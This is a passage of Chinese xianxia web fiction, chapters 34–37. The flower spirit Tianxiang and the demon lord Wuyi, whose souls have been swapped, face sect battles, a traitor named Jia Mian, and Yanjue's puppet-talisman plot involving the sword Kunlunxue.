她抬头看了一眼洞内,只有幽幽火光照明,衬的洞内寂静,她慢慢走了进去,没走几步便听到前方不远处有说话声传来。
小殷当即沉声,“你在这里与众弟子等待,我去营救洞主!”
小遥拦住她,摇摇头,“姐姐,不要,姥姥还没有传令喊我们。”
现在出去,非但无法救下姥姥,还会混乱局势,况且三相这等奇阵,也不是他们可以应付的。
小殷也不是莽撞之人,便按捺下性子,垂眸不语,只是神色稍显苍白。
天香悄然蹲下,躲在一块凸石后头,只见不远处是聚妖洞左右护法小殷、小遥,再看身后是一众弟子,难怪洞口没有了驻守妖修。
她沉吟半晌,虽不知发生了何事,弟子由她们带领,却不见妙阴姥姥踪迹。天香仍决定绕开这群人,绕道潜行寻找无奕,避免节外生枝。
但事与愿违,她刚转身,小殷便发现了踪迹,手决一捏挥开凸石,质问道:“谁在那里,出来!”
34. 第 34 章
天香无奈走出来,“诸位聚妖洞弟子好,我也是妖修,不知洞口为何没有驻守弟子?”
这确实怨不得她,门口既然没有驻守,她就径自入内了。见洞中乌泱泱一群妖修,恐怕聚集了聚妖洞所有战力。
想必有什么事,莫非和无奕来聚妖洞有关,她不禁担心起来。
小遥先淡淡一笑,“是我们的失职,倒是忘了洞口的驻守弟子。”
小殷虽有些不悦,但见她是妖修,神色缓和下来,“你已至锻体境?在妖修里是不错,我好像见过你。”
天香点了点头,“我欲拜聚妖洞被拒,如今是个散修。”
她现在没有门派所属,已经脱离天璇宗,确实是个散修。说着,天香又试探问道:“为何妖修都聚集在此处,发生什么事了?”
没想到小殷也不遮掩,似不在意她发问,“主洞内,碧岚宫魔头将聚妖洞搅得不得安宁,妄图夺势,我等正待命支援洞主。”
天香心底一颤,她依稀记得无奕带了少许弟子前来,“......那其余碧岚宫弟子呢?”
“自然是杀了。”小遥面无表情。
小殷笑看着天香,“对待魔修不可手软,否则你不杀他们,他们反过来会害了你。”
她说的更多像劝言,似是极有道理。但天香心中只想着无奕一人在主洞内与众人周旋,不知此刻如何。
天香抿了抿唇,“好,请问二位护法大人,主洞该往哪里走?”
她此番发问,即刻引起二人怀疑,小遥轻声,“妖族修友,你去主洞干嘛,那里危险,呆在这里吧。”
天香又笑笑,“如今我还是仰慕聚妖洞,想见一见妙阴姥姥,能否收我入宗。”
她们二人陷入沉默,片刻后,小殷却忽的冷笑一声,“你身上有浓烈碧花香。”
小遥伴随身后一众妖修弟子即刻手中捏决,作警备状。
“想不到你虽是名妖修,却自甘堕落与碧岚宫为伍,我说一年前见你还是未涉引气的粗浅资质,怎么如今修为突飞猛进,原来是承了碧岚宫的恩。”
天香心中骇然,没想到小遥还记得她!
无奕今日为收服聚妖洞来,她身上有碧花香味,也算是敌人。此刻境地她也打不过这些人,只能先逃了。
她讪笑,“一言不合别开打嘛,我走就是了......”
天香转身便隐入黑暗中,身后小殷、小遥却不肯放过她,追了上来。
她一阵惶然,眼前正是死路,无处可逃,却见这面石壁触感柔软,异于常态。
身后是小殷声音,“糟了,快拦住她!”
天香想都没想,一头冲了进去。见她跑进主洞,小殷、小遥只得愤愤止步,没有妙阴姥姥的指令,她们不会进入。
而天香一进主洞,就见到妙阴姥姥正被无奕架着长剑,动弹不得,远处是正在操纵阵法的雷行,还有笑的温和的衍决。
她没想到自己真的阴差阳错来到主洞,不知撞破了什么,茫然站在原地。
空中若有若无寒冷之气,让四周伏草沾染一层微霜。
这些人她都认得,只是鲜少见面,远处那人便是转轮王,据说聚妖洞都臣服于他,她知道无奕若想重坐魔君位子,便要将这几人一一铲除。
只是她不属于任何势力,只不过和无奕走的近些罢了。
无奕神色闪过一丝讶然,天香出现突然,但他一对三,身处阵法制住妙阴已是不易,竟无暇顾及她。
他仍是一袭黑衣,玉白面容虽美,却十分冷淡,看向衍决,“你也太小看昆仑雪了,况且三相阵乃仙界阵法,你又从何而来?”
衍决微微一笑,觉得有趣,“说起仙族术法,碧岚宫主恐怕比我更熟悉。”
他手中变幻,魔息乍现,像要拿出什么东西。
无奕怕衍决对天香不利,沉声道:“天香,你来我这边,切莫入阵!”
他是混元境即将圆满,但在三相阵遭受压制,只如窥虚境末阶,就算他再强悍也不可能一直支撑下去。
衍决笑如春风拂面,“天香,原来是你,小花妖,你跟我走吧,跟着这只笑面虎,恐怕会被吃的渣都不剩。”
无奕冷笑一声,“你再胡言乱语,我现在就杀了你。”
自从无奕在天璇宗上将天香带回来,便有越来越多人知晓昆仑雪剑主心仪一只花妖,虽然不是碧岚宫弟子,两人却时常见面。
妙阴投过来目光,瞥一眼天香,在脑中搜索记忆。一年前这名妖修弟子曾经求拜聚妖洞被拒,原来她便是那碧岚宫主的心上宠吗?
衍决并不恼怒,反而笑意更深,眼中有些怜悯,“这就是我刚才取来的东西。”
下一刻,衍决变幻出一只金莲发簪,浮在手中。上浮错综复杂的白纹,正是仙族法咒。
他缓缓笑道:“碧岚宫中竟暗藏仙器,他又怎会不通仙族术法,如何对得起魔界子民。我冒险出手,自烟启阁中取回此簪,便是为了证明此事。”
这只发簪应该来自浮华幻镜,原来正是衍决取走了它。
无奕微微仰起头,冷笑,“浮华幻镜是上古自仙界坠落魔界的神器,其中有什么仙物我又如何得知,况且,原来你喜欢不请自来入他人地盘。”
衍决微眯双眼,“如何证明你没有私通仙族。”
无奕眼中更是不耐,竟直接放开妙阴姥姥,与衍诀过起招来。
此刻在聚妖洞中,又受到三相阵压制,无奕只得全凭手上功夫,而衍决天铩业火如流火自空中闪过,几回合衍决竟然在昆仑雪下呈现败势。
无奕神色冷冷,“你不是我对手,劝你不要自讨没趣。”
雷行眼看衍决呈现劣势,操控三相阵进一步扩大,“哼,你一人强又如何,抵不过我们三人。”
三相阵顶端那张仙子面孔再现,由慢至快,逐渐频繁变幻三种形态后,停留在怒色显现的表情上。
这是三相阵要启动化形归一,乃是阵法的核心杀招,若再停留阵中恐怕小命难保,妙阴姥姥见机就要逃跑。
谁知寒意直扑颜面而来,竟是无奕操控昆仑雪挡她去路。没想到这魔头,和衍决过招还能分心管她。
他今日为收服聚妖洞来,可惜他空有一身本领,如今魔族内部还是衍决更得势,她不可能易主。
三相最终归一,那张嗔怒之相的仙子面孔
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骤然变大朝阵眼飞去。
天香心中惶然,心脏跳个不停,扑面而来的巨大压迫感,不知为何还有些莫名的熟悉。
妙阴姥姥看向天香,无奕那魔头喜欢这只小妖,以她做要挟想必就能脱身。
眼看杀招即将落下,衍决退身阵外,下达指令,雷行即刻灌注法力催动最后一步。
妙阴姥姥则操纵蛇杖将天香卷起,甩进阵中,独自逃离阵中,“碧岚宫主还是先担心自己的心上人吧。”
危机时刻,天香奋力操控紫纹笛仍是枉然,被蛇杖所伤。三相阵杀招降下,无奕即刻以昆仑雪为界,立一道屏障,护住她。
触及伤口渗血,在这关键时刻,他们竟然再次灵魂互换了!
她身无法术,失去控制的昆仑雪根本抵挡不住杀招威力,眼看洪荒仙力压下,难道她就要死在这里?随着白芒散去,天香睁开眼,竟发现自身完好无损。
不但如此,三相阵竟然不攻自破。
虽是个好消息,但望向无奕,他仍是脸色一沉,即便是方才一对三劣势也没有如今棘手。在这等关键时刻灵魂互换,他如何继续对敌。
雷行本以为稳操胜券,却发现昆仑雪实在太过强大,连三相阵杀招都免疫了。只是不知无奕是不是受阵法影响,脸上竟然露出了十分异样的神色。
他召唤出武器雷锤,“没想到三相杀招都灭不了你,那我只好自己上了!”
妙阴姥姥也是眼中闪过一丝惊讶,旋即一声令下,小殷、小遥终于一齐率弟子进入。
眼看雷行就要上前,衍决挡住他的手,一簇流火四两拨千斤将他挑开,“且慢。”
雷行与妙阴皆是不解,既然三相阵没能杀死无奕,此刻合力上前便是最佳时机。
衍决拿出贴身放置的那支海棠花枝,本以为过了几百年,它再也不会有任何反应。此刻却好似提醒他莫要忘记般,发出了微弱灵息波动。
他抬头看向天香,长眸幽晦。
这只彼岸花妖,在仙族阵法下毫发无伤,反破开阵法。即便是昆仑雪抵挡,也不可能如此。更何况方才他看的很清楚,无奕晚了一步,那把剑并没有启动。
只有一种可能,这只花妖身上有仙族血脉。
但为什么,这股气息又去了无奕身上。随即他醒悟过来,这只花妖与无奕血脉想通,原来如此,这就是为何献宝宴上第一眼见到他们有强烈违和感。
毫无疑问,天香身上有白泽魂魄转世。
不过这些与他无关,既然这只花妖身上有她的魂魄,他就不得不出手抢夺了。
衍决淡淡扫众人一眼,“今日先放他们走。”
雷行微微一愣,面上已带怒色,“你说什么?现在大好时机!”
衍决唇角扯出一抹笑意,“三相阵已破,我们对敌无奕毫无胜算,不必担心,我心中已有一计,可以让你得到昆仑雪。”
雷行将信将疑,“你有什么办法得到那把剑?”
衍决微微垂下眸,表情有些复杂,似笑非笑道:“三日之后,你在此地等我,我会替你取来昆仑雪。”
妙阴姥姥静静站在他们身后,眼中似流露一丝深长。
35. 第 35 章
天香、无奕刚至碧岚宫门,便有弟子迎上前来。
如今情景虽熟悉,但无奕境界不比从前,谁知一路上他使尽浑身解数,仍解不开灵魂互换。
看来灵魂互换并非法术可以解除,也和境界高低无关,可能由其他东西决定。
莫非和前世有关?他想起那只黑猫妖指引下,他在浮华幻镜中偷窥到的记忆。
原来自己前世和一名叫白芷的仙族女子颇有渊源,记忆比较模糊,看不清太多,依稀知道她曾救过自己一命。
但天香和她性情却相去甚远,况且这灵魂互换之术,也无法得到解释。
好在除了他们,碧岚宫还没有人知道这件事,为了少引起别人怀疑,二人就避开弟子聚集处前行。
天香借无奕的身体屏退带路弟子,此刻只他二人。他神色略有缓和,“你来找我做什么?”
天香仍有些不习惯,“想找你带我看看浮华幻镜,我去了烟启阁,好奇那面镜子......而且,是你说我可以找你的。”
幻镜启动需耗费大量法力,她和其余宫中长老,赤地、千里都不熟悉,就只能求助无奕。
无奕淡淡的看着她,启动浮华幻镜需要大量法力,正是夺势之争,此举无异于自损。
他眼中有些看不懂的情绪,但仍是耐心,“好,但是需等以后,如此境地,恐怕你用不了幻镜。”
天香也明白,没有强求,如今他们灵魂互换,就算开启幻镜可能也看不清什么。
“那我跟着你,你去寻些宫中秘宝,看看能不能将身体换回来。”她轻声道。
碧岚宫不比寻常宗门,底蕴深厚,或许有奇珍异宝能解除灵魂互换也未可知。
谁知,他只是轻笑摇头,“你替我做件事,稍后赤地长老会来议事殿找你,你只要点头应允。”
天香愣住,此刻就要分开吗?他明明是微笑着的,那笑容却有些陌生,不知是不是她忽然出现导致灵魂互换的原因。
而且,这一次他竟然没有急着想换回身体。
她有些小心翼翼,“那你呢,你要去哪里?”
无奕却不再回答她了,只瞧着她发笑,“我稍后便回。”
他用着她的身体,一闪就不见。
无奕变化出一顶纯白幂篱,遮住面容,朝着烟启阁那座矮山的侧畔而去。此行虽说没能收服聚妖洞,却是明白了一件事,贾勉有问题。
贾勉当初极力推荐他带少数人马去聚妖洞,想必和衍决、雷行有关,若是他因此折在聚妖洞也便算了,谁知他完好无损,阴差阳错没有受到阵法伤害。
关于此事他还没有想明白,为何三相阵会在一瞬间破除。
难道是因为他们灵魂互换了?他似笑非笑,眼睛看向不远处,正是贾勉在矮山林中练剑场景。
既然他安然无恙归来,那就该清算贾勉的事了。
回宫时他们刻意避开弟子,连那两名带路的也吩咐了勿宣扬,贾勉还不知道他回来了。
听闻贾勉是天香旧识,而他现在,用的是天香的身体......
无奕走后,天香去往议事殿,在原地呆了很久。
不知为何,心中有些翻涌的情绪,又不好发作,她正暗自出神,却被通报的弟子声音吸引过去。
“赤地长老到了。”
她心底一惊,赤地长老来的好快。现在只有她一个人,无奕不在,若是被发现怎么办......
来不及细想,只见赤地带着一群人,皆身着碧岚宫弟子青色常服,缓缓步入殿中。
“赤地拜见宫主。”他镇定的附身下拜,千里跟着进来,只是一同行礼,并未发话。
天香不知说什么,心中莫名的紧张,压下不安,只能点点头。
见入议事殿来的,都是她曾见过熟悉的碧岚宫弟子,面色沉沉气氛凝重,不知赤地带他们前来做什么。
她正思索,再一转头,便看见千里长老一双眼正静静望着她,心头不由得闪过一丝被抓包的心虚,心想不会他境界高深看穿了自己并非无奕。
天香险些面露怯色,但想到他们就算起疑心,也不会随便怀疑作为宫主的无奕,应该不会明白她心中所想,又逐渐定下心来。
赤地长老淡淡一笑,“这就是宫主吩咐抓来的人,他们和贾勉一样,都是雷行手下派来的卧底。”
天香心中浮起一丝疑惑,又隐隐震惊。平等王手下的派来的卧底?还提到了贾大哥,她微微垂下眸,掩盖神色。
心思开始回想无奕去聚妖洞的那一幕,想起当初贾大哥和一批弟子支持他一人前去即可,但她只以为贾勉是出于为碧岚宫考虑,却从没想过贾勉是雷行的人。
可是,赤地、千里二位长老境界深厚,心思缜密,想必是通过其他细节得知了贾勉那一派有问题吧......
赤地一挥手袖,那几名戴罪的弟子皆被迫下跪,“宫主只带少数弟子出行,却都中了埋伏死在聚妖洞,万幸宫主无碍,至于这几人和贾勉则难辞其咎,罪该处死。”
千里也微微抬手,冷声道:“决不能放他们回去找雷行。”
天香几不可察的皱了皱眉,她现在在无奕身体里,千万不能露馅才是。
方才她还有些担忧,如今一看,还好贾大哥并不在其中,不知他去了哪里。天香轻咳一声,缓缓道:“咳,赤地长老说的是。”
她实在不知该说什么,心中只想着无奕怎么还不回来。
赤地点了点头,又看向千里,“这几人都被我作封脉处理,已形同废人,那便等宫主带来贾勉,再一同处死。”
千里又定定看了她一会,“宫主可还有什么话想说?”
天香觉得自己心思仿佛被看透,额间溢几滴汗,磕磕绊绊道:“没,没有。”
赤地长老笑的十分宽和,细看却有些耐人寻味。短短几个照面,天香觉得自己已经被怀疑了。
还有那句,贾勉由宫主带来。她完全不知道此事,若是稍后贾勉仍未出现,自己不就暴露了。天香眼中闪过一丝茫然,竟有些手足无措。
“我来迟了。”只见无奕用着她的身体,出现在议事殿外。
天香微微一愣,站在大殿中竟忘了下一步要做什么。无奕径自带着贾勉进入议事殿,贾勉满脸的不可置信,他境界已至藏胎,却被用着天香身体的无奕降服。
旁人只觉得是天香使了什么计策,利用她和贾勉是旧友,骗取信任,为了无奕出手将他带来殿上。只有天香自己明白,恐怕是无奕用她的身体出手直接将贾勉抓来的。
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贾勉还沉浸在天香为何功力忽然深不可测的疑惑中,就被天香身体中的无奕捏决破招,而后带来了殿上。
不过他答应雷大人来碧岚宫的时候,就料想自己的处境撑不了多久。这次建议无奕孤身前往聚妖洞后,若是无奕平安归来,死的就是他。
贾勉低垂下头,看不出情绪。但却没想到,他会被天香抓住。在他的印象中,天香境界分明才锻体,为何方才出手感觉已至窥虚以上......
无奕的声音淡淡,“我将贾勉带来了,赤地长老,请即刻处死这几人。”
赤地长老虽有些惊讶是“天香”带来贾勉,也没有多言,叛徒已到齐,吩咐道:“刑司。”
宫众负责刑罚的弟子没有片刻犹豫,就要上前,正法杀了这几人。
天香心中暗惊,现在就要处死贾勉和这几名弟子,她不由得有些头脑嗡嗡作响,毕竟她与贾勉是旧相识,若是其中有什么误会呢?
她一着急,便直接出声,“且慢,不如再审问审问,万一冤枉了好人。”
话一出口,她就后悔了,但又收不回来。刑司弟子即刻停住,有些拿捏不准“宫主”的态度,只得站在原地,等候指令。
“宫主,还有什么顾虑?”赤地长老淡淡开口。
天香说是有些心惊肉跳也不为过,她虽想出言阻止,但徒增暴露风险,如果被宫中其他人知道她和无奕灵魂互换了,恐怕会被人钻空子趁虚而入。
更不要说碧岚宫中居然还有平等王派遣进来的卧底,简直内忧外患,防不胜防。
天香张了张口,正不知作何回答,千里的视线却一直盯在她身上,“宫主为何不亲自押来贾勉?”
天香心跳扑通加速,额间溢出几滴汗。千里长老的意思是为何她没有亲自出手,这是当然的,她压根不知道无奕现在就要杀了贾勉。
此刻,她已经感受到赤地、千里对她的怀疑。无奕则是定定看她半晌,用着她的身体开口解围,“自然是宫主降服了他,而我只不过将他押送来。”
赤地微微一笑,等候天香的指令,“宫主”没有下令,他自然不会随便杀人。
天香微微垂眸,神色细不可闻的有些惶恐。该怎么办,她不想杀了贾大哥,但她执意阻拦,便会惹得在场其他碧岚宫弟子怀疑。
无奕方才说让她点头应允便好,难道是早就传音通知他们准备揪出叛徒杀了。可她一直被蒙在鼓里。
方才无奕借用她的身体,反而接近贾大哥更轻易,难怪他此刻不似从前着急想换回身体。可是它若想救下贾大哥,无奕没能除去宫众叛徒,定然会气愤。
天香心乱如麻,如此境地抉择两难,她也不知道无奕心中的想法,竟还有些微微害怕。
赤地、千里长老也并不说话,议事殿上所有人都等待着。
无奕似乎对她有些意外,但神色很快掩去,只是微微皱了皱眉。
就在此刻,贾勉竟早有准备,一个猝不及防魔息爆发,推开压制住他的几名弟子,闪身避开赤地的袭击,附身往后一倒,翻出议事殿外。
贾勉不亏是境至藏胎的碧岚宫前任护法,原来还留有后路。
天香还没反应过来,赤地已经呵斥道:“把这几个叛徒杀了,你们几人,随我把他抓回来!”
36. 第 36 章
没想到贾勉不但抽身逃脱,还在原地布下阵法,专为困住碧岚宫的人。
贾勉一路逃跑至碧岚宫辖境边缘,眼看就要回到平等城池,这已经是他最后的办法。虽说知道那个阵法不过困住些低阶弟子,赤地、千里必能闯过。
但看着那几人在碧岚宫辖境边缘将他拦住,还是有些不甘心。
若不是无奕带着她,天香险些因追不上他们暴露。好在众人忙着追捕贾大哥,无暇顾及她。到了碧岚宫辖境边上,她才发现无奕虽用着她身体,已是一脸阴冷表情,实在有些不耐。
至于赤地长老,则面露些许急色,眉头紧锁。
千里不多废话,长剑莹莹闪过寒光,“雷行派你来碧岚宫那天,你就该料到今日。”
贾勉看眼他们几人拦住自己去路,便看向无奕,视死如归,“没想到你会毫发无损活着回来,也罢,我贾勉此生只忠心于雷大人。”
天香被他看着,反而心有一丝惶然,也没做回复。说起来,她也一直疑惑为何三相阵对无奕和她没起任何作用,甚至不攻自破,难道只是巧合?
千里将剑一横,眼看就要取走贾勉性命。天香心几乎到了嗓子眼,那些叛徒已尽数处死,如今看来,贾勉真的是平等王派来的人。
那她若是再阻拦,于情于理都说不过去了。但毕竟是旧友一场,她此刻竟有些不忍再看。谁知下一刻,忽的从一旁窜出几名雷行手下弟子。
“贾大人,和我们走!”那几人境界平平,根本不是赤地的对手,便舍身替贾勉打掩护。
天香看他们相斗,此刻她既然用着无奕身体,本该一起出手,可她一对敌便会暴露。不过这样也好,若是贾大哥能够因此逃脱......
谁知老天偏要她两难,无奕竟冒着暴露的风险,就要上前将贾勉杀了。
“你就不怕暴露?”天香忙道。
无奕面无表情,沉声道:“无妨,我在你身后出招,他们看不清。”
他手中凝聚魔息就要推出,天香竟伸出手按住。
无奕脸色一变,“他是雷行派来的卧底,你还要救他?”
天香有些心虚的别开眼,“我知道,但你如今毕竟也安然无恙......”
他没有即刻回复,只是有些不满的抽回手,眸色暗沉下去。贾勉眼看就要脱身,无奕不打算拖延,手中捏决就要在贾勉脚底布一道烈血阵。
天香竟然再一次按住他手,她虽然不敢看他,却也不肯放手。
此刻若是与她起冲突,便会让雷行那帮人发现他们身体互换的端倪,而后雷行便会借机针对,他此刻借着天香身体本就境界跌落,更别说应付雷行、衍决了。
他竟然无法继续出手,如此境地,虽百般无奈,可他确实受制于她。
“所以,你借着身体互换威胁我?”无奕甚至有些似笑非笑。
天香顿时一惊,脸色难看,“我不是这个意思......”
她见他神色,有些无端陌生,不禁心底泛起一层害怕。迟疑片刻,她便缩回了手,无奕也没再说话,即刻就捏决施阵,只可惜已经迟了。
赤地、千里干掉数名雷行手下弟子,但还是让贾勉逃了去,进入平等王城辖境,就不好再追。
“竟然让那小子跑了。”赤地眼中闪过怒色。
好在方才对敌混乱,无人发现他和她的争执。如今贾勉成功逃脱,而无奕沉默,只是静静看着她。
天香愣住,明明他借着自己的身子,她该没那么害怕才是,可她却透过那双眼感受到他生气的强烈压迫。
回宫的路上,一路无言。
不觉间,三日已过。
碧岚宫外隐有烟云流火,空中鸾鸟惊飞划过天际,今日衍决独自带着雷行的人袭击碧岚宫,却不见雷行身影。
自前聚妖洞一战后,这些魔修已在碧岚宫东境逡巡多日,不曾攻入,也没有撤退,像是早有预谋般,在今日进犯。
天香大开殿门,面上满是忐忑,“转轮王攻来了,怎么办?”
这三日间,他们的身体还是没有换回来。无奕为了解决此事,不知多少次找寻宫中秘宝,无奈还是收效甚微。
如今转轮王攻打碧岚宫,天香用着无奕身体,作为“宫主”,她必须要一同对敌。
但她境界低微,莫说对敌衍诀了,就是普通弟子也打不过。
无奕捏捏眉心,“先应战吧。”
天香此刻焦急万分,生怕暴露,待到了碧岚宫东境,双方弟子正交战,却不见衍决人影,无奕也不知道哪儿去了。
她修为只炼骨境圆满,贸然冲出去,只会被法术轰的渣都不剩,天香捏紧几张符纸,若是不得不出手,便丢出去。
望着成群对战魔修,不知怎的,她心里总觉得有些不安。
衍诀攻入碧岚宫,正远远的欣赏碧花海。
见偶有流光闪过,那是魔修投掷的破空雷。他面带笑意,今日这么大阵仗,那只小花妖,便不得不出面了。
其实如今无奕被迫换了身体,境界大跌,他若集结雷行一齐进攻,正是攻破碧岚宫的好时机。
但他的野心不止于此,今日之后,不光碧岚宫是他的,那只小花妖,也是他的。
可惜她更喜欢无奕,所以,他还要做件事。借昆仑雪之手,一箭双雕,既除去无奕,又得到她。
稍后他会将剑取来,请众人入局,上演一出绝世好戏。
“你们几个,去通知平等王,在聚妖洞等我。”衍诀转头。
他又继续吩咐道:“你们拖住赤地千里,不必真打,做做样子即可。”
几名弟子也没多问,只点点头,“是。”
那几人心中了然,早在三日前衍城主便吩咐过,今日进攻只是个幌子,只需牵绊住碧岚宫中高境魔修即可。
衍诀一袭飘逸长衣,笑得温和,独自离去。
待他一人时,摩妙又再度出现,“你早已取得重瓣莲花簪,为何不给我?”
衍决已将重塑肉身的灵宝收集的差不多,却仍不肯复活他,想必有别的打算,可灵簪既然已经获得,他也没有那么着急。
但衍决却迟迟不把灵簪交给他,摩妙不由得跳出来询问。
“我自会渡你法力,还有一件事没办成,你出现的正好,教我如何变幻浮华幻镜。”衍决淡淡开口。
摩妙大吃一惊,“浮华幻镜?那可是远古仙器,鲜少人知其来历,更别提操控了。”
衍决笑道:“不必操控,变幻镜面,只需要一些仙族障眼法。”
“......障眼法,只要教你,你就把灵簪交给我吗?”摩妙面色急切,眸中又些惧意的看着他。
衍决长眸幽深,“自然。”
......
碧岚宫东境边界。
“喂喂!小花妖,不能去那里,东境正在交战!”一名好心弟子阻拦。
弟子见这只小花妖冷艳面容,和宫主微微重叠,揉揉眼睛,竟有些茫然。无奕嘴角一抽,面若冰霜,一抬手,那名弟子晕了过去。
无奕眉心几乎拢在一起,远处隐约有流火气息传来,是衍决。
他面容微微扭曲,转身便离去,他是混元境即将圆满,但灵魂互换倒退十层,只如窥虚境,衍决却仍是混元境。
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此刻碰上衍决虽十分冒险,若招来昆仑雪,也可以一战。他长眸沉静,无一丝波澜。
“碧岚宫主,为什么不和你的小花妖在一起?”衍决眸色莫测。
无奕显然有些意外,脚步一顿,长眉一挑,眼中不知什么神色。过了半晌,又像没听见般,径自离去。
衍决知道他不以为意,“别走了,我知道你们身体换回的方法。”
虽说此刻无奕不似从前棘手,但他若要走,仍难以留他,衍决只得敞开天窗说亮话,否则他不会信自己。
此话一出,无奕脸色一沉,果然滞住脚步。
下一刻,他二话不说,直接拔剑,衍决躲避不及,只用一只手臂挡下,白衣长袖给剑气刺破,渐渐渗出鲜红色。
空中即刻弥漫出刺骨霜寒气。
衍决虽眸色一沉,但仍旧笑着,“此时,你未必能胜过我。”
他说的并没有十成把握,虽说如今无奕境界跌落,但仍有一战之力。可衍决竟然知道这个秘密,如果告诉别人......
无奕冷脸看着他,“不妨一试。”
衍决撩开衣袖,微微一滞,见一道长长剑痕,泛着寒气,透过衣布划开皮肉,血顺着滴答落到地上。
他眼神有些高兴,又有些奇怪,并不急着聚气愈合伤口。
衍决声音淡淡,“放心,我还没有将此事告诉他人......”
他还想继续,无奕不耐直接打断,“你想要什么?”
昆仑雪闪烁寒光,空中温度陡然降低,东境阴云聚拢,隐有风雪欲来之相。好在远处交战激烈,无人发现端倪。
衍决眸中闪过深色,“我要昆仑雪。”
无奕冷哼一声,又杀过来,昆仑雪快如闪电,一剑向前刺去。他手握昆仑雪,分明就是个杀器,魔息简直无穷无尽,缠斗杀招没有半点破绽,更是不露疲态。
衍决眼疾手快,闪身避开,空中有淡淡流光划过,将霜气化散。他敛起笑容,若不是无奕借用花妖身体境界跌落,还真是不好对付。
剑风呼啸,衍决堪堪避开杀招。但伤口染透了雪白纱衣,似散落红梅片片,他却毫不在意的拍手。
“不愧是饮血无数的上古神器。”衍决轻笑,“我知道如何解除灵魂互换,做个交易如何?”
无奕眸色一沉,终于停手。
衍决又换上笑意盈盈的假面,“想必你各种方法试了都不奏效,这件事和她的身份有关,你境界再高也是枉然。”
无奕提着长剑,空中霜气退散些许。其实昆仑雪是认主神器,就是给他也无事,旁人得到它,也无法操控,便只是一把普通佩剑。
空中阴云散去,昆仑雪褪去光华隐藏魔息。无奕将剑一收,干脆利落抛出。
他眸色微动,声音淡淡,“你最好没有耍花招。”
长剑即便在衍决手中,他若想召回,也只需一刻。
衍决接住昆仑雪,微微一笑,“那是自然。”
他在空中比划两招,果然,这把剑没有任何反应。美则美矣,他使用不了,但,另一个人却是可以......
衍决露出一抹笑意,“你叫上她,一齐来聚妖洞,我自会告诉你们如何换回来。放心,我一人都不会带,只身前往。”
无奕和眼前这人十分不对盘,只觉得他说话拐弯抹角。但他的确尝试多种方法,都没能和天香换回来。
曾经失忆还在天璇宗时,他以为只是自己境界过低才无法解除。如今来看,却和境界无关。
但他依旧要防着衍决,此人最是精于算计。
衍决则心情很好,微微俯身伸手,“请。”
37. 第 37 章
“洞主!洞主!碧岚宫的人来了。”通报小妖匆匆跑来。
天香来此之前,也是享受了三日宫主待遇,比如她作为“宫主”,身上这件黑锦袍透着贵气,不但有助聚气功效,罩的主洞内都不阴冷了。
这等宝贝,无奕不屑一顾,她可是从来没见过,看来确实有些功效。
只是方才无奕离开片刻,再度出现时脸色却比往常还要白上几分,唇色也更淡。他面无表情,“随我去趟聚妖洞。”
天香吓得心底一惊,辖境以东现在正是战火纷飞,此刻他们怎么能全部离开。但见他一幅表情没怎么变过,似是不容拒绝,她只能答应。
想起这件事,她便感觉后背泛丝丝凉气,再名贵的袍子也没有用处。
远处,数名小妖在妙阴姥姥身后,天香下意识看了一眼无奕,发现他正看着雷行,若有所思。
衍决将剑交给雷行,他不敢相信,这就是昆仑雪。自献宝宴上离开后,这是他第二次见这把剑。可惜剑已与原主切断联系,和普通长剑无异。
无奕竟然真的将剑交给他了。
雷行向剑内注入魔息,似有电光噼啪在剑身刹那闪动,相隔数长,也能感到寒意扑面。洞中霜气再度席卷而来。
但他做不到与剑意共鸣,四周山壁草木虽结上一层冰霜,却不消片刻就融化了。
虽不知衍决用了什么方法从无奕手中取来此剑,但这的确是昆仑雪,雷行似有些出神,“这就是昆仑雪。”
衍决轻笑,“不如试一试能否拿起?”
雷行神色颇有些骄傲,“若我拿不起,你们也无人能拿起。”
那剑身上偶尔可见的流光令他欣喜,他果然是昆仑雪认定的主人。不再迟疑,雷行拿起长剑。
妙阴姥姥见状,忙率领千百小妖附和,“恭喜雷大人喜得昆仑雪。”
雷行顿时喜笑颜开,“哼,无奕,虽不知道你为何将剑交出,想必是碧岚宫已到穷途末路,自然不可能再想这等上古名剑。”
他思来想去,只可能是衍决带人袭击碧岚宫他抵挡不住,被逼无奈交出昆仑雪换一条生路。
此刻在无奕身体里的天香神色略染焦急,她只觉得将昆仑雪交出去,和活腻了没什么区别。无奕则是神色淡淡,似乎对剑并不上心。
雷行再度向剑里注入魔息,期待的看着剑身上细微的流光能逐渐扩大包裹全部,就像当初献宝宴上那样。
他就是昆仑雪的天命剑主,怎么可能拿不起这把剑?
妙阴姥姥身后一众小妖齐声,“雷大人得神剑,从此难逢敌手啊!”
献宝宴上时,流光的忽然暗灭,可以归咎为无奕的出现,可如今无奕已和长剑切断联系,那他必能拿起。
但无论他怎么努力,都是徒劳,除了偶有受到魔息波动出现的闪光外,别的什么也没有。他甚至怀疑这不是昆仑雪。
但剑身上的魔纹真切告诉他,这就是那把他梦寐以求的剑。
不可能,他必能拿起这把剑,究竟哪里出了问题?雷行向剑身注入一次又一次魔息,如同石沉入海,没有一丝波澜。
他再度不敢相信的挥动,确认昆仑雪在他手中只是一把普通佩剑。
怎么可能,之前献宝宴上分明是他引得剑鸣。他喃喃低语,“不可能......”
衍决淡淡扫他几眼,眼中神色莫测,“既然你用不了这把剑,那还是物归原主吧。”
他自雷行手中夺过此剑,交予了天香,天香险些忘了,此刻她还在无奕身体里!
衍决笑道:“昆仑雪是有灵神剑,果然只有它认定的剑主可以通灵。”
天香本以为转轮王想看她拿起这把剑,但她不是无奕,自然拿不起啊!她神色惶然,几度想把剑交给此刻在她身体里的无奕,却行动不得。
她瞪大双眼,原来是这把剑上,借机被转轮王下了傀儡符,她的一举一动只能由他操控。
天香正想求助无奕,衍决没有给她机会,继续道:“放眼全族,这把剑果然只有碧岚宫主可以拿起,旁人染指不得。”
无奕并没有动作,只要他想,片刻就可以召回此剑。
但她拿着昆仑雪,剑身此刻却溢出流光,像是认主一般,虽然比无奕拿起微弱许多,可不细看根本发现不了。
无奕眼睛未看她,只看着剑身,她如何能通剑意,这世上除了他,竟然还有第二个可以拿起昆仑雪的人。
天香想说些什么,眼中有惊骇神色,“不,不是......”
衍决另一手凝息操控傀儡符,天香拿着长剑,不由自主朝无奕刺去!
无奕抬眸看她,神色复杂。
他心下骇然,曾经笃定这把剑除了自己无人能拿起,却没想到身边人竟是那个唯一例外。
原来这就是衍决执意借走昆仑雪的原因,因为她是衍决的人,只要有这把剑,便不愁杀了他。
无奕脸色更是难看,一手凝起霜气推送而出,与剑风相抵,虽化解不少,仍是后退几步。她为何能操控昆仑雪,难道这和他们灵魂互换有关。
